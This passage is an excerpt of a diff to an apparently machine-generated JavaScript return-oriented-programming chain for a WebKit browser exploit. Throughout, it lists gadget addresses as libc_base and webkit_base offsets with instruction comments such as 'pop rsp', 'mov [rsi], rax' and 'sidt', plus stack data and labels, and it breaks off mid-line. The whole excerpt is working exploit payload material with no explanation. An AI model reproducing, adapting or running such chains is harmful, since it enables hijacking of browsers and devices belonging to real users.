//pop rcx +//L4847: +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi ]); -//L4905: -db([0, 0]); // 0x0 -//L4903: +//L4848: +db([4294967168, 4294967295]); // -0x80 set_gadgets([ -libc_base+793877, //pop rsi -ropchain+275688, //L4908 -webkit_base+7438103, //mov [rsi], rax +libc_base+547636, //add rax, rsi +webkit_base+2997875, //mov [rax], rcx libc_base+759626, //mov rax, r8 +libc_base+792472, //pop rcx +//L4850: +libc_base+793877, //pop rsi libc_base+793877 //pop rsi ]); -//L4906: -db([4294967028, 4294967295]); // -0x10c -set_gadget(libc_base+792472,); //pop rcx -//L4908: -db([0, 0]); // 0x0 +//L4851: +db([4294967176, 4294967295]); // -0x78 set_gadgets([ libc_base+547636, //add rax, rsi +webkit_base+2997875, //mov [rax], rcx libc_base+793877, //pop rsi -ropchain+275792, //L4911 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+275776, //L4910 +ropchain+277056, //L4853 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+759626, //mov rax, r8 libc_base+792472 //pop rcx ]); -//L4910: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L4911: +//L4853: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4854: +db([4294967168, 4294967295]); // -0x80 set_gadgets([ -libc_base+191169, //mov eax, [rdi] -libc_base+793877, //pop rsi -ropchain+275960, //L4914 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+275976, //L4915 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+793877, //pop rsi -ropchain+275928, //L4912 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+275944, //L4913 -webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi +libc_base+547636, //add rax, rsi +libc_base+793877 //pop rsi ]); -//L4912: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L4913: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L4914: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L4915: -db([0, 0]); // 0x0 +db([8, 0]); // 0x8 set_gadgets([ -webkit_base+6227286, //movsxd rax, edi -libc_base+793877, //pop rsi -ropchain+276048, //L4916 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+276064, //L4917 +ropchain+277152, //L4856 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4916: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L4917: +//L4856: db([0, 0]); // 0x0 set_gadgets([ -webkit_base+6227286, //movsxd rax, edi -libc_base+793877, //pop rsi -ropchain+276160, //L4919 -webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+276144, //L4918 +ropchain+277208, //L4858 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4918: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L4919: +//L4858: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+276240, //L4921 +ropchain+277288, //L4861 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4921: +//L4861: db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L4860: +db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L4920: -db([32, 0]); // 0x20 -set_gadget(libc_base+206806,); //pop rdi -//L4922: -db([32, 0]); // 0x20 +//L4862: +db([13, 0]); // 0xd set_gadgets([ -webkit_base+6227286, //movsxd rax, edi -libc_base+793877, //pop rsi -ropchain+276376, //L4923 -webkit_base+7438103, //mov [rsi], rax +webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+276408, //L4925 +ropchain+277392, //L4863 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+276392, //L4924 +ropchain+277408, //L4864 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L4923: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L4924: +//L4863: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4925: +//L4864: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -35904,493 +35854,566 @@ libc_base+793877 //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -webkit_base+14959219, //cmp rax, rcx ; sete al -webkit_base+48555, //setl al -libc_base+269973, //movzx eax, al -libc_base+793877, //pop rsi -ropchain+276576, //L4927 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+276592, //L4928 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+276560, //L4926 +ropchain+277496, //L4865 webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4926: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L4927: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L4928: +//L4865: db([0, 0]); // 0x0 set_gadgets([ -webkit_base+6227286, //movsxd rax, edi -libc_base+793877, //pop rsi -ropchain+276696, //L4931 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+276744, //L4933 -webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+276728, //L4932 +ropchain+277552, //L4867 webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4931: +//L4867: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L4930: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L4932: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L4933: -db([0, 0]); // 0x0 +db([4294967288, 4294967295]); // -0x8 set_gadgets([ -webkit_base+11676600, //cmp rax, rsi ; sete al -libc_base+269973, //movzx eax, al -webkit_base+414627, //shl rax, 3 -libc_base+793877, //pop rsi -ropchain+276856, //L4934+8 -libc_base+547636, //add rax, rsi -libc_base+186490, //mov rax, [rax] +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+276848, //L4934 +ropchain+277624, //L4869 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 -libc_base+811575 //pop rsp +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx ]); -//L4934: +//L4869: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4870: +db([4294967184, 4294967295]); // -0x70 set_gadgets([ -ropchain+276872, //L4934+24 -ropchain+276888, //L4929 -libc_base+811575, //pop rsp -ropchain+276904, //L4935 -//L4929: -libc_base+811575, //pop rsp -ropchain+284432, //L4936 -//L4935: -libc_base+793877, //pop rsi -ropchain+276960, //L4939 -webkit_base+7438103, //mov [rsi], rax +libc_base+547636, //add rax, rsi +webkit_base+2997875, //mov [rax], rcx libc_base+759626, //mov rax, r8 +libc_base+792472, //pop rcx +//L4872: +webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L4937: -db([40, 0]); // 0x28 -set_gadget(libc_base+792472,); //pop rcx -//L4939: -db([0, 0]); // 0x0 +//L4873: +db([4294967192, 4294967295]); // -0x68 set_gadgets([ libc_base+547636, //add rax, rsi +webkit_base+2997875, //mov [rax], rcx +libc_base+759626, //mov rax, r8 +libc_base+792472, //pop rcx +//L4875: libc_base+793877, //pop rsi -ropchain+277064, //L4942 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+793877 //pop rsi +]); +//L4876: +db([4294967200, 4294967295]); // -0x60 +set_gadgets([ +libc_base+547636, //add rax, rsi +webkit_base+2997875, //mov [rax], rcx libc_base+793877, //pop rsi -ropchain+277048, //L4941 +ropchain+277808, //L4879 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4941: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L4942: +//L4879: db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L4878: +db([4294967295, 4294967295]); // 0xffffffffffffffff +set_gadget(libc_base+788575,); //pop rax +//L4880: +db([7, 0]); // 0x7 set_gadgets([ -libc_base+191168, //mov rax, [rdi] -libc_base+793877, //pop rsi -ropchain+277208, //L4945 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+277176, //L4943 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+582033, //xor rax, rcx libc_base+793877, //pop rsi -ropchain+277192, //L4944 +ropchain+277896, //L4881 webkit_base+7438103, //mov [rsi], rax +libc_base+759626, //mov rax, r8 libc_base+792472 //pop rcx ]); -//L4943: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L4944: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L4945: +//L4881: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 +//L4882: +db([4294967208, 4294967295]); // -0x58 set_gadgets([ +libc_base+547636, //add rax, rsi +webkit_base+2997875, //mov [rax], rcx +libc_base+759626, //mov rax, r8 +libc_base+792472, //pop rcx +//L4884: libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax +libc_base+793877 //pop rsi +]); +//L4885: +db([4294967216, 4294967295]); // -0x50 +set_gadgets([ +libc_base+547636, //add rax, rsi +webkit_base+2997875, //mov [rax], rcx libc_base+759626, //mov rax, r8 -libc_base+793877, //pop rsi -ropchain+277304, //L4947 -webkit_base+7438103, //mov [rsi], rax +libc_base+792472, //pop rcx +//L4887: +libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -//L4946: -db([4294967040, 4294967295]); // -0x100 -set_gadget(libc_base+788575,); //pop rax -//L4947: -db([0, 0]); // 0x0 +//L4888: +db([4294967224, 4294967295]); // -0x48 set_gadgets([ libc_base+547636, //add rax, rsi +webkit_base+2997875, //mov [rax], rcx +libc_base+759626, //mov rax, r8 +libc_base+792472, //pop rcx +//L4890: +libc_base+792472, //pop rcx libc_base+793877 //pop rsi ]); -db([8, 0]); // 0x8 +//L4891: +db([4294967232, 4294967295]); // -0x40 set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+793877, //pop rsi -ropchain+277384, //L4948 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +libc_base+547636, //add rax, rsi +webkit_base+2997875, //mov [rax], rcx +libc_base+759626, //mov rax, r8 +libc_base+793877 //pop rsi ]); -//L4948: -db([0, 0]); // 0x0 +//L4893: +db([4294967240, 4294967295]); // -0x38 set_gadgets([ -libc_base+471355, //mov [rdi], rax +libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+277440, //L4951 +ropchain+278184, //L4896 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L4951: +//L4895: +db([125, 0]); // 0x7d +set_gadget(libc_base+788575,); //pop rax +//L4896: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax +webkit_base+2997875, //mov [rax], rcx +libc_base+759626, //mov rax, r8 +libc_base+792472, //pop rcx +//L4897: +webkit_base+1838146, //add rax, rcx libc_base+793877 //pop rsi ]); -//L4952: -db([16, 0]); // 0x10 -set_gadget(libc_base+788575,); //pop rax -//L4953: -db([0, 0]); // 0x0 +//L4898: +db([4294967248, 4294967295]); // -0x30 set_gadgets([ libc_base+547636, //add rax, rsi +webkit_base+2997875, //mov [rax], rcx +libc_base+759626, //mov rax, r8 +libc_base+792472, //pop rcx +//L4900: +webkit_base+11349202, //sidt [rax - 0x7d] libc_base+793877 //pop rsi ]); -db([8, 0]); // 0x8 +//L4901: +db([4294967256, 4294967295]); // -0x28 set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+792472 //pop rcx +libc_base+547636, //add rax, rsi +webkit_base+2997875, //mov [rax], rcx +libc_base+759626, //mov rax, r8 +libc_base+792472, //pop rcx +//L4903: +libc_base+811575, //pop rsp +libc_base+793877 //pop rsi ]); -//L4954: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L4955: -db([0, 0]); // 0x0 +//L4904: +db([4294967264, 4294967295]); // -0x20 set_gadgets([ -libc_base+191168, //mov rax, [rdi] +libc_base+547636, //add rax, rsi +webkit_base+2997875, //mov [rax], rcx +libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -db([4294967288, 4294967295]); // -0x8 +//L4906: +db([4294967272, 4294967295]); // -0x18 set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+877175, //sub rax, rcx ; sbb rdx, rcx -libc_base+793877, //pop rsi -ropchain+277680, //L4956 -webkit_base+7438103, //mov [rsi], rax +libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+277696, //L4957 +ropchain+278448, //L4909 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L4956: +//L4908: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4957: +//L4909: db([0, 0]); // 0x0 set_gadgets([ -libc_base+191168, //mov rax, [rdi] +webkit_base+2997875, //mov [rax], rcx +libc_base+793877, //pop rsi +ropchain+278504, //L4910 +webkit_base+7438103, //mov [rsi], rax +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx +]); +//L4910: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4911: +db([4294967286, 4294967295]); // -0xa +set_gadgets([ +libc_base+547636, //add rax, rsi libc_base+793877 //pop rsi ]); -db([4294967288, 4294967295]); // -0x8 +db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -webkit_base+1838146, //add rax, rcx +libc_base+471355, //mov [rdi], rax +libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+277784, //L4958 +ropchain+278624, //L4914 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L4958: +//L4913: +db([4294967168, 4294967295]); // -0x80 +set_gadget(libc_base+788575,); //pop rax +//L4914: db([0, 0]); // 0x0 set_gadgets([ -libc_base+191168, //mov rax, [rdi] +libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+277840, //L4961 +ropchain+278672, //L4916 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +webkit_base+11924577 //pop r10 ]); -//L4961: +//L4916: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+788575, //pop rax +//L4917: +ropchain+278816, //L4915 +libc_base+793877 //pop rsi +]); +db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+277912, //L4962 +ropchain+278792, //L4919 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx -]); -//L4962: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+191168, //mov rax, [rdi] +webkit_base+2810902, //mov rax, r10 libc_base+793877, //pop rsi -ropchain+277968, //L4965 +ropchain+278808, //L4918 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +libc_base+788575 //pop rax ]); -//L4965: +//L4919: +db([0, 0]); // 0x0 +set_gadget(libc_base+811575,); //pop rsp +//L4918: db([0, 0]); // 0x0 +//L4915: set_gadgets([ -webkit_base+2997875, //mov [rax], rcx -libc_base+191168, //mov rax, [rdi] +libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+278072, //L4968 +ropchain+278904, //L4921 webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L4966: -db([32, 0]); // 0x20 -set_gadget(libc_base+792472,); //pop rcx -//L4968: +//L4920: +db([4294967286, 4294967295]); // -0xa +set_gadget(libc_base+788575,); //pop rax +//L4921: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+278176, //L4971 +ropchain+279024, //L4923 +webkit_base+7438103, //mov [rsi], rax +libc_base+793877, //pop rsi +ropchain+279040, //L4924 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+278160, //L4970 +ropchain+279008, //L4922 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L4970: +//L4922: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4971: +//L4923: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L4924: db([0, 0]); // 0x0 set_gadgets([ -libc_base+191169, //mov eax, [rdi] +libc_base+270800, //mov ax, [rdi] libc_base+793877, //pop rsi -ropchain+278344, //L4974 +ropchain+279200, //L4928 webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+278360, //L4975 +ropchain+279152, //L4926 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+278312, //L4972 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+278328, //L4973 +ropchain+279184, //L4927 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4972: +//L4926: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L4973: -db([0, 0]); // 0x0 +//L4925: +db([16, 0]); // 0x10 set_gadget(libc_base+206806,); //pop rdi -//L4974: +//L4927: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4975: +//L4928: db([0, 0]); // 0x0 set_gadgets([ -webkit_base+6227286, //movsxd rax, edi +libc_base+877546, //shl rax, cl +libc_base+793877, //pop rsi +ropchain+279256, //L4930 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+206806 //pop rdi +]); +//L4930: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+523896, //sar edi, cl +libc_base+793877, //pop rsi +ropchain+279360, //L4932 +webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+278456, //L4977 +ropchain+279392, //L4933 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+278440, //L4976 +ropchain+279376, //L4931 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4976: +//L4932: +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L4931: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4977: +//L4933: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+278552, //L4980 +ropchain+279552, //L4937 webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+279504, //L4935 +webkit_base+7438103, //mov [rsi], rax +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+279536, //L4936 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4978: -db([4294967028, 4294967295]); // -0x10c +//L4935: +db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L4980: +//L4934: +db([48, 0]); // 0x30 +set_gadget(libc_base+206806,); //pop rdi +//L4936: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L4937: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -libc_base+793877, //pop rsi -ropchain+278656, //L4983 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+877546, //shl rax, cl +libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+278640, //L4982 +ropchain+279624, //L4939 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L4982: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L4983: +//L4938: +db([48, 0]); // 0x30 +set_gadget(libc_base+788575,); //pop rax +//L4939: db([0, 0]); // 0x0 set_gadgets([ -libc_base+191169, //mov eax, [rdi] +libc_base+877546, //shl rax, cl +libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+278824, //L4986 +ropchain+279800, //L4942 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+278840, //L4987 +ropchain+279816, //L4943 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+278792, //L4984 +ropchain+279784, //L4940 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+278808, //L4985 +ropchain+279768, //L4941 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4984: +//L4941: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L4985: +//L4940: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4986: +//L4942: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4987: +//L4943: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+278928, //L4988 +ropchain+279976, //L4947 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+278944, //L4990 +ropchain+279928, //L4945 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+279960, //L4946 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4988: +//L4945: db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L4944: +db([48, 0]); // 0x30 set_gadget(libc_base+206806,); //pop rdi -//L4990: +//L4946: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L4947: db([0, 0]); // 0x0 set_gadgets([ -libc_base+191168, //mov rax, [rdi] +libc_base+877546, //shl rax, cl +libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+279000, //L4992 +ropchain+280080, //L4949 +webkit_base+7438103, //mov [rsi], rax +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+280064, //L4948 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L4992: +//L4948: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L4949: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -db([4294967288, 4294967295]); // -0x8 +db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -webkit_base+75236, //or rax, rcx +libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+279144, //L4994 +ropchain+280160, //L4950 webkit_base+7438103, //mov [rsi], rax +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx +]); +//L4950: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4951: +db([24, 0]); // 0x18 +set_gadgets([ +libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+279160, //L4995 +ropchain+280280, //L4955 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+279128, //L4993 +ropchain+280264, //L4953 webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4993: +//L4953: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4994: +//L4955: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L4995: +set_gadgets([ +libc_base+191168, //mov rax, [rdi] +libc_base+793877, //pop rsi +ropchain+280368, //L4956 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+280384, //L4958 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+792472 //pop rcx +]); +//L4956: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L4958: db([0, 0]); // 0x0 set_gadgets([ -webkit_base+6227286, //movsxd rax, edi +libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+279256, //L4997 +ropchain+280472, //L4959 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+279240, //L4996 +ropchain+280488, //L4961 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+50775, //mov rax, rdi +libc_base+792472 //pop rcx ]); -//L4996: +//L4959: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L4997: +set_gadget(libc_base+206806,); //pop rdi +//L4961: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 +set_gadgets([ +libc_base+562536, //mov [rdi], cx +libc_base+793877, //pop rsi +ropchain+280544, //L4963 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+206806 //pop rdi +]); +//L4963: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+279352, //L4999 +ropchain+280640, //L4965 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L4998: -db([4294967040, 4294967295]); // -0x100 +//L4964: +db([4294967286, 4294967295]); // -0xa set_gadget(libc_base+788575,); //pop rax -//L4999: +//L4965: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi @@ -36400,71 +36423,35 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+279432, //L5000 +ropchain+280720, //L4966 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5000: +//L4966: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+279488, //L5003 +ropchain+280776, //L4968 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5003: +//L4968: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov 